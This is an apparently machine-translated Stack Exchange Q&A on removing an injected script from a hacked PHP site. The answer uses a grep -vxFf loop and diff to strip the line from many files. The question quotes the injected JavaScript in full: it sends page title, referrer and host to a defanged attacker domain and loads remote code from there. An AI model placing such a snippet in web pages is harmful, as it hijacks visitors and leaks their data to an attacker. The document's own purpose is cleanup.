長いテキスト文字列(多くの特殊文字を含むスクリプト)を置き換えます。sed、awk、grep

長いテキスト文字列(多くの特殊文字を含むスクリプト)を置き換えます。sed、awk、grep

私のサイトがハッキング/感染しました。悪意のあるリンクの URL を置き換えましたが、悪意のあるスクリプトの他の要素によって、私のサイトは依然としてブロックされています。100 個ほどの「エスケープ」を挿入せずに、サイト上の 3 ダースのファイルから次のスクリプトを削除するにはどうすればよいでしょうか。

< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>

Stack Exchange の他のページではこの質問に答えていません。

悪意のある URL を xxxx_hack_was_here などに置き換えるには、次を使用しました。 find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +

答え1

まず、私は上記のコメントに同意します。sedハッキングから回復するために使用しないでください。 何かを見逃したのではないかと常に心配になります。バックアップから復元してください。

ただし、あなたが尋ねた文字通りの質問、つまり、すべての特殊文字をエスケープせずに、長い文字列が現れるすべての場所からそれを削除する方法は、いくぶん扱いやすいです。

私はあなたの質問から、あなたが実際に直接述べなかったいくつかの推論/仮定を立てています:

  1. 削除する文字列が 1 行であること。
  2. それは、起こるたびに同じです。
  3. それは必要だ削除された、他のものに置き換えられません。

上記の仮定が正しい場合は、次の操作を実行します。

  1. 削除する文字列(末尾の空白文字を含む)を、例えば という名前のファイルに単独で保存しますhackline.txt。これを1レベルその上処理するディレクトリ。
  2. 間違いがあった場合に備えて、ディレクトリ全体をコピーしてください。

    cp -a mydir mydircopy
    
  3. ディレクトリ (またはコピー) で次のループを実行して、ハックラインのすべてのインスタンスを削除します。

    cd mydir
    for f in *; do
      [ -f "$f" ] && [ -r "$f" ] || continue
      grep -vxFf ../hackline.txt "$f" > "$f.fixed" &&
        mv -- "$f.fixed" "$f"
    done
    

ここでのコンセプトは、hackline.txt行全体に一致する固定文字列のリストとして使用し、grep一致する行のみを取得することです。しないその文字列のリストに一致します。

-x「行全体」を意味します。-F「正規表現ではなく固定文字列」を意味します。-v検索を反転します。-fファイル内のパターンのリストを受け入れます。

ウェブサイトのディレクトリがフラットではなく階層的である場合 (実際にはかなり可能性が高い)、findfor ループの代わりに以下を使用できます。

find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;

次に、再帰を使用してdiff、すべてが正常であることを確認します。

diff -r mydircopy mydir

関連情報